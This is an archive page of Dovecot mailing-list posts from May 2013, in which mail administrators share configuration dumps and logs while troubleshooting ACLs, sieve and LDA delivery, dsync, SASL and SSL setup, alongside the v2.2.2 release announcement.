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[Dovecot] ACLs - creating new top level folders
by Ingo Rogalsky 22 May '13

22 May '13

Hi, I'm wondering, whether it's possible, to define an ACL on the mailbox itself. We use Dovecot 1.2.15 (included in Debian 6) and maildir filesystem layout: /home/mail01/user1/Maildir/new \ /home/mail01/user1/Maildir/cur Inbox /home/mail01/user1/Maildir/tmp / /home/mail01/user1/Maildir/.folder1/new \ /home/mail01/user1/Maildir/.folder1/cur folder1 /home/mail01/user1/Maildir/.folder1/tmp / ... Assigning an ACL with full access rights for user2 to the folder Inbox works as expected. user2 can create subfolders of Inbox, too. But he can't create a new folder like folder1 parallel to Inbox. Is there a possibility of defining an ACL on the mailbox of user1 itself? Or do we need to create all subfolders beneath Inbox like this is usual with other IMAP servers? Ingo --- /usr/sbin/dovecot -c /etc/dovecot/dovecot-test.conf -n # 1.2.15: /etc/dovecot/dovecot-test.conf # OS: Linux 2.6.32-5-amd64 x86_64 Debian 6.0.7 base_dir: /var/run/dovecot-test/ log_path(default): /var/log/dovecot-test/error.log log_path(imap): /var/log/dovecot-test/error.log log_path(pop3): /var/log/dovecot-test/error.log log_path(managesieve): /var/log/dovecot-test/managesieve.log info_log_path(default): /var/log/dovecot-test/info.log info_log_path(imap): /var/log/dovecot-test/info.log info_log_path(pop3): /var/log/dovecot-test/info.log info_log_path(managesieve): /var/log/dovecot-test/managesieve.log protocols: imap imaps pop3 pop3s managesieve listen(default): *:10143 listen(imap): *:10143 listen(pop3): *:10110 listen(managesieve): *:12000 ssl_listen(default): *:10943 ssl_listen(imap): *:10943 ssl_listen(pop3): *:10995 ssl_listen(managesieve): ssl_cert_file: /etc/ssl/certs/imap-cert.pem ssl_key_file: /etc/ssl/private/imap-key.pem shutdown_clients: no login_dir: /var/run/dovecot-test//login login_executable(default): /usr/lib/dovecot/imap-login login_executable(imap): /usr/lib/dovecot/imap-login login_executable(pop3): /usr/lib/dovecot/pop3-login login_executable(managesieve): /usr/lib/dovecot/managesieve-login login_max_processes_count: 4096 max_mail_processes: 4096 verbose_proctitle: yes mail_location: maildir:~/Maildir:INDEX=/srv/dovecot/index/%u:CONTROL=/srv/dovecot/control/%u maildir_copy_preserve_filename: yes mbox_write_locks: fcntl dotlock mail_executable(default): /usr/lib/dovecot/imap mail_executable(imap): /usr/lib/dovecot/imap mail_executable(pop3): /usr/lib/dovecot/pop3 mail_executable(managesieve): /usr/lib/dovecot/managesieve mail_process_size: 1024 mail_plugins(default): fts fts_squat acl imap_acl mail_plugins(imap): fts fts_squat acl imap_acl mail_plugins(pop3): mail_plugins(managesieve): mail_plugin_dir(default): /usr/lib/dovecot/modules/imap mail_plugin_dir(imap): /usr/lib/dovecot/modules/imap mail_plugin_dir(pop3): /usr/lib/dovecot/modules/pop3 mail_plugin_dir(managesieve): /usr/lib/dovecot/modules/managesieve pop3_lock_session(default): no pop3_lock_session(imap): no pop3_lock_session(pop3): yes pop3_lock_session(managesieve): no pop3_uidl_format(default): %08Xu%08Xv pop3_uidl_format(imap): %08Xu%08Xv pop3_uidl_format(pop3): %08Xv%08Xu pop3_uidl_format(managesieve): %08Xu%08Xv namespace: type: private separator: / inbox: yes list: yes subscriptions: yes namespace: type: shared separator: / prefix: Other Users/%%u/ location: maildir:%%h/Maildir:INDEX=/srv/dovecot/index/%%u:CONTROL=/srv/dovecot/control/%%u list: children lda: postmaster_address: postmaster@... mail_plugins: sieve acl quota_full_tempfail: yes auth_socket_path: /var/run/dovecot-test/auth-master log_path: /var/log/dovecot-test/deliver.log info_log_path: /var/log/dovecot-test/deliver.log auth default: cache_size: 1024 cache_negative_ttl: 0 username_chars: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@~ master_user_separator: * debug: yes passdb: driver: passwd-file args: /etc/dovecot/dovecot-passwd.masterusers pass: yes master: yes passdb: driver: passwd-file args: /etc/dovecot/dovecot-passwd passdb: driver: pam userdb: driver: passwd-file args: /etc/dovecot/dovecot-passwd socket: type: listen client: path: /var/run/dovecot-test/auth-client mode: 384 user: vmail master: path: /var/run/dovecot-test/auth-master mode: 384 user: vmail plugin: acl: vfile acl_shared_dict: file:/srv/dovecot/lib/shared-mailboxes sieve: ~/.dovecot.sieve sieve_dir: ~/.pysieved fts: squat fts_squat: partial=4 full=10

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[Dovecot] lda: duplicate prefix?
by Larry Rosenman 22 May '13

22 May '13

I've just started using Dovecot, and can't seem to get the LDA to work. I get the following error: Mar 4 00:47:19 thebighonker dovecot: lda(ler): Error: user ler: Initialization failed: namespace configuration error: Duplicate namespace prefix: "" Mar 4 00:47:19 thebighonker dovecot: lda(ler): Fatal: Invalid user settings. Refer to server log for more information. Mar 4 00:47:19 thebighonker exim[76281]: 1UCPB8-000JqI-L7 == /home/ler/clamav-rules <ler(a)lerctr.org> R=userforward T=address_file_dovecot defer (0): Child process of address_file_dovecot transport returned 75 (could mean temporary error) from command: /usr/local/libexec/dovecot/dovecot-lda dovecot -n attached. the invocation from my exim config for other than inbox: address_file_dovecot: driver = pipe # Use /usr/lib/dovecot/dovecot-lda if using Debian's package. # You may or may not want to add -d $local_part@$domain depending on if you ne ed a userdb lookup done. command = /usr/local/libexec/dovecot/dovecot-lda -f $sender_address -m ~/mail/ ${sg{$address_file}{$home}{}} message_prefix = message_suffix = log_output delivery_date_add envelope_to_add return_path_add #group = mail #mode = 0660 temp_errors = 64 : 69 : 70: 71 : 72 : 73 : 74 : 75 : 78 What am I doing wrong? -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 214-642-9640 (c) E-Mail: larryrtx(a)gmail.com US Mail: 430 Valona Loop, Round Rock, TX 78681-3893

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[Dovecot] dsync-2.2.2 incorrectly synchronizes subscription status of deleted mailbox
by Karol Jurak 22 May '13

22 May '13

Hi, It seems that dsync-2.2.2 doesn't correctly synchronize subscription status of a deleted mailbox. The situation is as follows. There are two servers: A and B, and a test user test_mdbox. Mailboxes (mdbox) of this user on both servers are synchronized. Specifically on both of them there is a Trash/x mailbox. Replication plugin is disabled. I delete Thrash/x mailbox on A with Thunderbird. The relevant IMAP commands issued are: 71 87.068176 10.4.0.13 10.1.107.144 IMAP Request: 9 delete "Trash/x" 72 87.072238 10.1.107.144 10.4.0.13 IMAP Response: 9 OK Delete completed. 73 87.073736 10.4.0.13 10.1.107.144 IMAP Request: 10 unsubscribe "Trash/x" 74 87.085263 10.1.107.144 10.4.0.13 IMAP Response: 10 OK Unsubscribe completed. Inspecting output of 'doveadm mailbox list' and contents of subscriptions file shows that everything is as expected, ie. mailbox was deleted and unsubscribed. Moreover in dovecot.mailbox.log on A the following records appear: #480: delete-mailbox 3f3eb117a51c9a51d8280000f671379f (2013-05-20 14:54:40) #504: delete-dir f91e44cab57821aa456b525c7a2f1d7e (2013-05-20 14:54:40) #528: unsubscribe f91e44cab57821aa456b525c7a2f1d7e (2013-05-20 14:54:40) Subsequently I run 'doveadm sync -u test_mdbox -d'. It causes an entry for Thrash/x to reappear in subscriptions file on both servers and the following records are appended to dovecot.mailbox.log on B: #2112: delete-mailbox 3f3eb117a51c9a51d8280000f671379f (2013-05-20 14:55:49) #2136: delete-dir f91e44cab57821aa456b525c7a2f1d7e (2013-05-20 14:55:49) On A this record is added: #552: subscribe f91e44cab57821aa456b525c7a2f1d7e (2013-05-20 14:55:49) So, in described situation, dsync subscribes a mailbox on a server it was deleted on instead of unsubscribing it on the other one. -- Karol Jurak

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[Dovecot] read only users's mailboxes
by Frank Bonnet 22 May '13

22 May '13

Hello for internal purpose I need to put some users's mailboxes in readonly mode during few days. We use MBOX format and UNIX user mode on a FreeBSD 9.1 box I tried to read-only mount the partition but dovecot does not work this way Any infos welcome

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[Dovecot] Dovecot 2.2.1 LDA and sieve (lack of) errors
by Jim McNamara 22 May '13

22 May '13

Hello again, all. Of course after posting yesterday that all was well with my setup, turns out all is not well. The problem I'm having is with dovecot-lda functioning and making deliveries to my mailbox, but the sieve scripts don't seem to have any effect. Attempts at logging what is/isn't happening have been total failures. Managesieve seems to work fine, port 4190 is open on the server and it allows the tunderbird plugin to function, I can create and edit scripts with the plugin. For some reason it doesn't seem to auto-compile the scripts to binary form, but if I just need to do that manually I can live with it. I only mention the lack of auto-compiling in case that sheds light on what is wrong with the LDA or sieve. I'm running the current dovecot, 2.2.1 along with pigeonhole 0.4.0. Here is the config: root@hostname:/usr/local/dovecot-2.2.1# doveconf -n # 2.2.1: /usr/local/etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 auth_cache_size = 10 M auth_default_realm = mail.domain.com auth_mechanisms = plain login auth_socket_path = /usr/local/var/run/dovecot/auth-userdb debug_log_path = /dev/stderr default_internal_user = vpopmail default_login_user = vpopmail first_valid_gid = 89 first_valid_uid = 89 hostname = mail.domain.com last_valid_gid = 89 last_valid_uid = 89 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes log_path = /dev/stderr mail_access_groups = 89 mail_debug = yes mail_gid = 89 mail_location = maildir:%h/Maildir mail_plugins = " quota" mail_privileged_group = 89 mail_uid = 89 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave spamtest spamtestplus vnd.dovecot.debug namespace inbox { inbox = yes location = prefix = separator = . } passdb { driver = vpopmail } plugin { quota = maildir:User quota quota_rule = *:storage=2G quota_warning = storage=95%% quota-warning 95 %u sieve = ~/.sieve/dovecot.sieve sieve_dir = ~/.sieve sieve_extensions = +spamtest +spamtestplus +relational +comparator-i;ascii-numeric +vnd.dovecot.debug } postmaster_address = postmaster(a)mail.domain.com protocols = imap pop3 lmtp sieve sendmail_path = /var/qmail/bin/sendmail service auth-worker { user = $default_internal_user } service auth { unix_listener auth-userdb { group = vchkpw mode = 0600 user = vpopmail } user = $default_internal_user } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 vsz_limit = 64 M } ssl = required ssl_cert = </var/qmail/control/servercert.pem ssl_key = </var/qmail/control/servercert.priv userdb { args = quota_template=quota_rule=*:backend=%q driver = vpopmail } protocol lda { info_log_path = /dev/stderr log_path = /dev/stderr mail_plugins = " quota sieve" } protocol imap { mail_plugins = " quota imap_quota" } protocol pop3 { mail_plugins = " quota quota" } I've set the lda specific logs to /dev/stderr because I'm running dovecot through daemontools, and that is what it logs. Daemontools redirects /dev/stderr to /var/log/qmail/qmail-dovecot/current. I had tried logging to /var/log/dovecot/lda.log, that file exists, the directory is 775 dovecot:dovecot, but the file size remained 0. Very little appears in the dovecot logs with lda - root@hostname:/home/vpopmail/domains/domain.com/jim/.sieve# grep lda /var/log/qmail/qmail-dovecot/current |tai64nlocal 2013-05-16 11:05:49.432026500 May 16 11:05:49 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-16 11:29:32.386361500 May 16 11:29:32 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-16 11:54:03.145741500 May 16 11:54:03 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-16 12:33:40.274543500 May 16 12:33:40 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-16 12:47:07.202036500 May 16 12:47:07 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-16 13:40:44.548948500 May 16 13:40:44 auth: Debug: master in: USER 1jim(a)domain.com service=lda 2013-05-17 11:50:31.073410500 May 17 11:50:31 auth: Debug: master in: USER 1jim(a)domain.com service=lda The sieve issue is as follows: I have a very simple sieve script. the managaesieve utility accepts the script, here is the contents of the $HOME/.sieve directory: root@hostname:/home/vpopmail/domains/domain.com/jim/.sieve# ls -al total 20 drwx------ 3 vpopmail vchkpw 4096 May 18 02:24 . drwx------ 5 vpopmail vchkpw 4096 May 18 09:39 .. lrwxrwxrwx 1 vpopmail vchkpw 16 May 18 02:22 dovecot.sieve -> night-test.sieve -rw------- 1 vpopmail vchkpw 303 May 18 02:22 dovecot.svbin -rw------- 1 vpopmail vchkpw 315 May 18 02:24 night-test.sieve drwx------ 2 vpopmail vchkpw 4096 May 18 02:24 tmp The contents of dovecot.sieve itself are: root@hostname:/home/vpopmail/domains/domain.com/jim/.sieve# cat dovecot.sieve # # 2013-5-17 # require ["fileinto", "envelope", "vnd.dovecot.debug"]; if header :contains ["from"] "sub1.domain.com" { debug_log "match happened and syntax changed for testing purposes"; fileinto "INBOX.folder2"; } else { debug_log "can't catch a cold when wet snowy and cold"; keep; } The compile of the script works fine as user vpopmail: vpopmail@hostname:~/domains/domain.com/jim/.sieve$ sievec dovecot.sieve /tmp/dovecot.svbin sievec(vpopmail): Debug: Loading modules from directory: /usr/local/lib/dovecot sievec(vpopmail): Debug: Module loaded: /usr/local/lib/dovecot/lib10_quota_plugin.so sievec(vpopmail): Debug: Effective uid=89, gid=89, home=/home/vpopmail sievec(vpopmail): Debug: Quota root: name=User quota backend=maildir args= sievec(vpopmail): Debug: Quota rule: root=User quota mailbox=* bytes=2147483648 messages=0 sievec(vpopmail): Debug: Quota warning: bytes=2040109465 (95%) messages=0 reverse=no command=quota-warning 95 vpopmail sievec(vpopmail): Debug: Quota grace: root=User quota bytes=214748364 (10%) A diff between dovecot.svbin and /tmp/dovecot.svbin shows no difference. Neither of the debug lines show up anywhere in the logs. When I send an email from sub1.domain.com to this server, it ends up in the main inbox rather than INBOX.folder2. Interestingly, if I run sieve-test on the mail, it tells me it should have been moved to INBOX.folder2: vpopmail@hostname:~/domains/domain.com/jim/Maildir/cur$ sieve-test ../../.sieve/dovecot.sieve 1368888104.11471.hostname\,S\=1235\:2\,a sieve-test(vpopmail): Debug: Loading modules from directory: /usr/local/lib/dovecot sieve-test(vpopmail): Debug: Module loaded: /usr/local/lib/dovecot/lib10_quota_plugin.so sieve-test(vpopmail): Debug: Effective uid=89, gid=89, home=/home/vpopmail sieve-test(vpopmail): Debug: Quota root: name=User quota backend=maildir args= sieve-test(vpopmail): Debug: Quota rule: root=User quota mailbox=* bytes=2147483648 messages=0 sieve-test(vpopmail): Debug: Quota warning: bytes=2040109465 (95%) messages=0 reverse=no command=quota-warning 95 vpopmail sieve-test(vpopmail): Debug: Quota grace: root=User quota bytes=214748364 (10%) sieve-test(vpopmail): Debug: Quota root: name=User quota backend=maildir args= sieve-test(vpopmail): Debug: Quota rule: root=User quota mailbox=* bytes=2147483648 messages=0 sieve-test(vpopmail): Debug: Quota warning: bytes=2040109465 (95%) messages=0 reverse=no command=quota-warning 95 raw mail user sieve-test(vpopmail): Debug: Quota grace: root=User quota bytes=214748364 (10%) sieve-test(vpopmail): Debug: none: root=, index=, indexpvt=, control=, inbox=, alt= dovecot: line 6: info: DEBUG: match happened and syntax changed for testing purposes. Performed actions: * store message in folder: INBOX.folder2 Implicit keep: (none) sieve-test(vpopmail): Info: final result: success And yes, INBOX.folder exists: vpopmail@hostname:~/domains/domain.com/jim/Maildir/cur$ ls -al ../.INBOX.folder2/ total 28 drwx------ 5 vpopmail vchkpw 4096 May 14 10:33 . drwx------ 15 vpopmail vchkpw 4096 May 18 10:42 .. drwx------ 2 vpopmail vchkpw 4096 May 14 10:20 cur -rw------- 1 vpopmail vchkpw 232 May 17 08:07 dovecot.index.log -rw------- 1 vpopmail vchkpw 17 May 14 10:33 dovecot-uidlist -rw------- 1 vpopmail vchkpw 0 May 14 10:20 maildirfolder drwx------ 2 vpopmail vchkpw 4096 May 14 10:20 new drwx------ 2 vpopmail vchkpw 4096 May 14 10:20 tmp Here's the file that calls dovecot-lda for user jim: vpopmail@hostname:~/domains/domain.com/jim$ cat .qmail-default |/var/qmail/bin/preline -f /usr/local/libexec/dovecot/dovecot-lda -d $EXT@$USER Both /var/qmail/bin/preline and /usr/local/libexec/dovecot/dovecot-lda exist. Any idea why my sieve doesn't seem to take effect? Thanks for reading.

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Re: [Dovecot] Outlook 2013 - mounting folders with XLIST
by Hajo Locke 21 May '13

21 May '13

Hello, >> i do some tests with dovecot 2.1.7 and activated a default special-use >> config. To get it work with outlook 2013, i also added XLIST to imap >> capability string. basically this is working. >> >> is somebody also using special-use folders successful with outlook 2013? > yes, testet a few times, works fine, without Junk folder , cause > outlook wants this handled by it own, but i ve seen reg patches to > change this My serverside setup now is completed. I did a lot of tests last weeks and experienced some strange behaviour of some clients. Outlook 2013 is only working when adding XLIST manually to imap_capability imap_capability = +XLIST This is because outlook 2013 not supports rfc 6154 but the deprecated XLIST standard invented by google. So the problem with junkfolder is not a bug in Outlook 2013, in rfc 6154 spamfolder is tagged by \Junk, in XLIST standard \Spam is used. I did see that when using a gmailaccount in outlook 2013. Adding XLIST capability to dovecot seems to be a problem for other Clients. k9 is able to work with rfc 6154 servers. But if k9 finds XLIST and SPECIAL-USE together in capabilitystring it seems to prefer XLIST requests. Because of dovecot is accepting XLIST requests, but outputs rfc 6154 details, k9 seems to be confused and dont finds special Folders. rfc 6154 is similar but not identical to XLIST. If you dont test with really individual foldernames, you get tricked by clients behaviour. I looked around and the most imap-servers of hosting companies etc. provide XLIST feature, Special-USE unfortunately only a few. So i did now some changes to dovecot sources on my own. I added \Spam as allowed special-use attribute and created a new function for XLIST Requests. So if XLIST is requested, Clients gets lines of output with XLIST and \Junk is replaced with \Spam. So all is done in the code and i dont need to change my userdb-config. Testing this server with different clients was successful. All of them did find their special folders and worked fine, outlook 2013 also finds spamfolder now. So this changes contribute to consolidate a deprecated standard but i have to find a way where all users can benefit from new features. This is not a request to change something in dovecot, this is a call to decision makers to support one rfc Standard. Hajo

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[Dovecot] Configure dovecot to provide SASL authentication
by Peter Skensved 21 May '13

21 May '13

Hi, I'm trying to get dovecot to provide SASL authentication for postfix My setup appears to be working but I'm not 100% certain I've got it right. I've come across several examples for dovecot version 1 but I'm running 2.0.9. The output of doveconf -n is here : 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-279.2.1.el6.x86_64 x86_64 CentOS release 6.3 (Final) auth_debug = yes auth_verbose = yes disable_plaintext_auth = no mbox_write_locks = fcntl passdb { driver = pam } protocols = imap service auth { unix_listener /var/spool/postfix/private/auth { mode = 0666 } } ssl_cert = </etc/pki/dovecot/certs/dovecot.pem ssl_key = </etc/pki/dovecot/private/dovecot.pem userdb { driver = passwd } Specifically : are the "service auth", userdb and passdb sections correct ? And the mode ? Or is it too permissive ? For completeness the postfix setup is here : smtpd_sasl_auth_enable = yes broken_sasl_auth_clients = yes smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous # smtpd_delay_reject = yes smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_non_fqdn_helo_hostname, reject_invalid_helo_hostname, permit # smtpd_sender_restrictions = permit_mynetworks, reject_non_fqdn_sender, reject_unknown_sender_domain, permit # smtpd_recipient_restrictions = reject_unauth_pipelining, reject_non_fqdn_recipient, reject_unknown_recipient_domain, permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination, permit # peter ---- Peter Skensved Dept. of Physics, Queen's University, Kingston, Ontario, Canada

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[Dovecot] How to configure ssl cert chain in dovecot 10-ssl.conf file
by Bu Xiaobing 21 May '13

21 May '13

Hi there, Does anyone know how to do this: "Put all the certificates in the ssl_cert file. For example when using a certificate signed by TDC the correct order is: Dovecot's public certificate TDC SSL Server CA TDC Internet Root CA Globalsign Partners CA " I try to set these parameters in the conf.d/10-ssl.conf as below, but it seems doesn't work. --- ssl_cert = </etc/pki/dovecot/certs/mail.mymailserver.com.crt ssl_cert = </etc/ssl/certs/dovecot/sub.class1.server.ca.pem ssl_cert = </etc/ssl/certs/dovecot/ca.pem ---- I even cat mail.mymailserver.com.crt sub.class1.server.ca.pem certs/dovecot/ca.pem into one singe file, and define ssl_cert = < /path/to/the/singcertfile.pem, but it doesn't work too. In my apache httpd server httpd.conf file I can define: -- SSLCertificateChainFile /etc/pki/dovecot/certs/sub.class1.server.ca.pem SSLCACertificateFile /etc/pki/dovecot/certs/ca.pem -- And it well work fine. Thinks for any suggest. Bu Xiaobing

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[Dovecot] Pigeonhole: extprograms - pipe
by Anes Mukhametov 20 May '13

20 May '13

Hello! I've tried to use extprograms pipe feature but stuck with "Broken pipe" errors in mail log: May 17 15:18:57 backend1 dovecot: lmtp(20338, user(a)domain.tld) Debug: 3VMVFWFKllFyTwAArRg8UA: sieve: action pipe: running program: learn May 17 15:18:57 backend1 dovecot: script: Error: write(response) failed: Broken pipe May 17 15:18:57 backend1 dovecot: lmtp(20338, user(a)domain.tld) 3VMVFWFKllFyTwAArRg8UA: sieve: execution of script /data/mail/storage/domain/user(a)domain.tld/.dovecot.sieve;name=main script failed, but implicit keep was successful (user logfile /data/mail/storage/domain/buser(a)domain.tld/.dovecot.sieve.log should reveal additional details) /data/mail/storage/domain/buser(a)domain.tld/.dovecot.sieve.log: error: msgid=<c7cd36f19be8164addf091a646b8b284(a)domain.tld>: pipe action: failed to pipe message to program `learn': refer to server log for more information. [2013-05-17 15:18:57] ham user(a)domain.tld 50796. Sieve script contents: require ["fileinto","copy","mailbox","vnd.dovecot.pipe"]; if anyof (header :is "Subject" "ham") { pipe :try "learn" ["ham"]; fileinto "INBOX/ham"; stop; } Sieve plugin config uncommented conents: sieve_plugins = sieve_extprograms *sieve_pipe_socket_dir = sieve-pipe* # Define the executed script as parameter to the sieve service executable = script /etc/dovecot/scripts/spam.sh # Use some unprivileged user for executing the program user = nobody # The unix socket located in the sieve_pipe_socket_dir (as defined in the # plugin {} section above) unix_listener sieve-pipe/learn { # LDA/LMTP must have access user = nobody mode = 0777 } } spam.sh is message processing script which interacts with spamassassin. I've tested pipe with spam.sh that redirects stdin to /dev/null and returns 0 but errors were logged anyway. Note that spam.sh runs, getting the message from sieve and processing it to spamassassin without a problem, but "broken pipe" is being logged.

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Re: [Dovecot] Configure dovecot to provide SASL
by Peter Skensved 20 May '13

20 May '13

> > > Am 19.05.2013 17:51, schrieb Peter Skensved: > > service auth { > > unix_listener /var/spool/postfix/private/auth { > > mode = 0666 > > } > > chmod 666 is always a very bad idea > > > service auth { > unix_listener /var/spool/postfix/private/auth { > mode = 0660 > user = postfix > group = postfix > } > } > Thanks for the reply - - all the other sockets in /var/spool/postfix/private have mode 666 ( and the directory itself mode 700 ) but that is probably a question for the postfix list.... peter

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[Dovecot] v2.2.2 + dsync version incompatibility
by Timo Sirainen 20 May '13

20 May '13

Looks like dsync v2.2.2 isn't fully compatible with earlier dsync versions, unless you add: http://hg.dovecot.org/dovecot-2.2/rev/e0156c479a12

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[Dovecot] Linking mdbox directories
by Alex Crow 20 May '13

20 May '13

Hi Timo/list, We have a scenario in which some email accounts on dovecot (stored in mdbox, separate paths for indexes, email, ALT storage and also using SIS for attachments, LDAP directory) need their names changed. I know we could just change the mail LDAP attribute (and leave mailMessageStore alone) so they keep the same directories on disk, but this would throw a spanner in the works for our backups. Would it be possible to create a hard link of the user's directories under the new name, and change the LDAP mailMessageStore attribute to point to these without stopping and starting dovecot? And after a while unlink the original locations? Or would this mess up dovecot's internal state? Thanks Alex -- This message is intended only for the addressee and may contain confidential information. Unless you are that person, you may not disclose its contents or use it in any way and are requested to delete the message along with any attachments and notify us immediately. "Transact" is operated by Integrated Financial Arrangements plc. 29 Clement's Lane, London EC4N 7AE. Tel: (020) 7608 4900 Fax: (020) 7608 5300. (Registered office: as above; Registered in England and Wales under number: 3727592). Authorised and regulated by the Financial Conduct Authority (entered on the Financial Services Register; no. 190856).

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[Dovecot] doveadm altmove to gzipped-mdbox
by Claus 20 May '13

20 May '13

Hi, im wondering if it's possible to store old messages in a compressed mdbox on alternate storage. The main storage is uncompressed mdbox. I tried something like: doveadm -Dv -o "plugin/zlib_save=gz" altmove -u testuser sentbefore 8d Could someone tell me if it's possible and give me a hint how this can be done? I tried this with dovecot-2.2 Claus

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[Dovecot] Empty file in maildirs
by Roel Wagenaar 20 May '13

20 May '13

I am cleaning up some old users, and found that in every maildir folder there is an empty file called maildirfolder, created at the time the original dovecot was installed. Is this empty file necessary for dovecot, or is it left there in an upgrade proces and can it be removed? Dovecot 2.1.7, on Debian wheezy. -- Roel Wagenaar, Linux-User #469851 with the Linux Counter; http://linuxcounter.net/ Antw.: Omdat het de volgorde verstoord waarin mensen tekst lezen. Vraag: Waarom is top-posting een slechte gewoonte? Antw.: Top-posting. Vraag: Wat is het meest ergerlijke in e-mail? If we aren't supposed to eat amimals, why are they made with meat?

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[Dovecot] v2.2.2 released
by Timo Sirainen 20 May '13

20 May '13

http://dovecot.org/releases/2.2/dovecot-2.2.2.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.2.tar.gz.sig It's been a while since v2.2.1. I think all of the bad bugs in v2.2 series should be fixed by now, so here's a new release. I think there are still some small URLAUTH bugs left though, so you might want to wait before enabling it in production (imap_urlauth_host is empty by default, which disables it). + zlib: Keep the last mail cached uncompressed in a temp file. This fixes performance when doing small partial fetches from a large mail. + acl: If plugin { acl_defaults_from_inbox = yes } is set, get the default ACLs for private and shared namespaces from the user's INBOX. (This probably will become default in v2.3.) + pop3: Added pop3_deleted_flag setting to switch POP3 deletions to only hide the messages from POP3, but still be visible via IMAP. - ACL plugin: Mailbox creation wasn't actually checking any ACLs and always succeeded (due to some v2.2 API changes). The created mailbox couldn't have been accessed though, so this couldn't have caused any data leak. - IMAP: Various URLAUTH fixes. - IMAP: Fixed a hang with invalid APPEND parameters. - IMAP LIST-EXTENDED: INBOX was never listed with \Subscribed flag. - mailbox_list_index=yes still caused crashes. - maildir: Fixed a crash after dovecot-keywords file was re-read. - maildir: If files had reappeared unexpectedly to a Maildir, they were ignored until index files were deleted. - Maildir: Fixed handling over 26 keywords in a mailbox. - Maildir++: Fixed mail_shared_explicit_inbox=no - namespace { prefix="" list=no } was listing mailboxes. - imap/pop3-login proxying: Fixed a crash if TCP connection succeeded, but the remote login timed out. - Case-insensitive search/sort didn't work correctly for all unicode characters, as specified by i;unicode-casemap comparator. If full text search indexes were used, they need to be rebuilt for old mails to be handled correctly. (This bug has existed always in Dovecot.)

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[Dovecot] Sieve was installed but doesn't work or log
by Jim McNamara 18 May '13

18 May '13

Hello everyone. I have dovecot version 1.2.8 installed from source. This morning I installed the sieve plugin to sort emails, and though the install reported no errors, the plugin doesn't seem to function, and no mention of it is made in the logs when I turn on verbose logging. dovecot --version 1.2.8 dovecot -n # 1.2.8: /usr/local/etc/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 base_dir: /usr/local/var/run/dovecot/ log_path: /dev/stderr info_log_path: /dev/stderr log_timestamp: protocols: imap imaps pop3s listen(default): 127.0.0.1:143 listen(imap): 127.0.0.1:143 listen(pop3): * ssl_listen(default): 192.168.1.1:993 ssl_listen(imap): 192.168.1.1:993 ssl_listen(pop3): 192.168.1.1:995 ssl_cert_file: /var/qmail/control/servercert.pem ssl_key_file: /var/qmail/control/servercert.pem ssl_cipher_list: ALL:!LOW verbose_ssl: yes login_dir: /usr/local/var/run/dovecot/login login_executable(default): /usr/local/libexec/dovecot/imap-login login_executable(imap): /usr/local/libexec/dovecot/imap-login login_executable(pop3): /usr/local/libexec/dovecot/pop3-login verbose_proctitle: yes first_valid_uid: 89 last_valid_uid: 89 mail_location: maildir:~/Maildir mail_debug: yes mail_executable(default): /usr/local/libexec/dovecot/imap mail_executable(imap): /usr/local/libexec/dovecot/imap mail_executable(pop3): /usr/local/libexec/dovecot/pop3 mail_plugins(default): quota imap_quota mail_plugins(imap): quota imap_quota mail_plugins(pop3): quota mail_plugin_dir(default): /usr/local/lib/dovecot/imap mail_plugin_dir(imap): /usr/local/lib/dovecot/imap mail_plugin_dir(pop3): /usr/local/lib/dovecot/pop3 pop3_uidl_format(default): %08Xu%08Xv pop3_uidl_format(imap): %08Xu%08Xv pop3_uidl_format(pop3): %v-%u namespace: type: private separator: . prefix: INBOX. inbox: yes list: yes subscriptions: yes lda: postmaster_address: postmaster(a)mail.domain.com hostname: mail.domain.com mail_plugins: sieve mail_plugin_dir: /usr/local/lib/dovecot/lda deliver_log_format: msgid=%m: %$ sieve: /home/vpopmail/domains/%d/%n/sieve sieve_global_path: /usr/local/etc/default.sieve log_path: /var/log/qmail/sieve/dovecot.log info_log_path: /var/log/qmail/sieve/dovecot.log auth default: user: vpopmail passdb: driver: vpopmail userdb: driver: vpopmail plugin: quota: maildir Here is the config.log from sieve root@myplace:/usr/local# head dovecot-1.2-sieve-0.1.19/config.log This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by Dovecot Sieve configure 0.1.19, which was generated by GNU Autoconf 2.67. Invocation command line was $ ./configure --with-dovecot=../dovecot-1.2.8/ That compiled cleanly, then make and make install also proceeded without error. With verbose logging enabled, the only times "sieve" appeared in the logs was when I tried to load it as a plugin for imap - grep sieve /var/log/qmail/qmail-dovecot/current |tai64nlocal 2013-05-14 09:20:05.091635500 FPlugin sieve not found from directory /usr/local/lib/dovecot/imap 2013-05-14 09:20:06.120848500 FPlugin sieve not found from directory /usr/local/lib/dovecot/imap 2013-05-14 09:20:07.142465500 FPlugin sieve not found from directory /usr/local/lib/dovecot/imap 2013-05-14 09:20:08.164247500 FPlugin sieve not found from directory /usr/local/lib/dovecot/imap Once I removed it from being loaded as an imap plugin and used it only as an lda plugin, it hasn't appeared in the dovecot logs. It also isn't logging where I asked it to in the config file (log_path: /var/log/qmail/sieve/dovecot.log, or info_log_path: /var/log/qmail/sieve/dovecot.log), but that files was touched and all directories below /var/log/qmail/sieve have the correct permissions for dovecot to write there: ls -al /var/log/qmail/sieve/ total 16 drwxr-xr-x 2 dovecot dovecot 4096 May 14 11:04 . drwxr-xr-x 7 qmaill root 12288 May 14 11:04 .. -rw-r--r-- 1 dovecot dovecot 0 May 14 11:04 dovecot.log Can anyone suggest an error they see or what I can do to get my errors with the sieve config logged 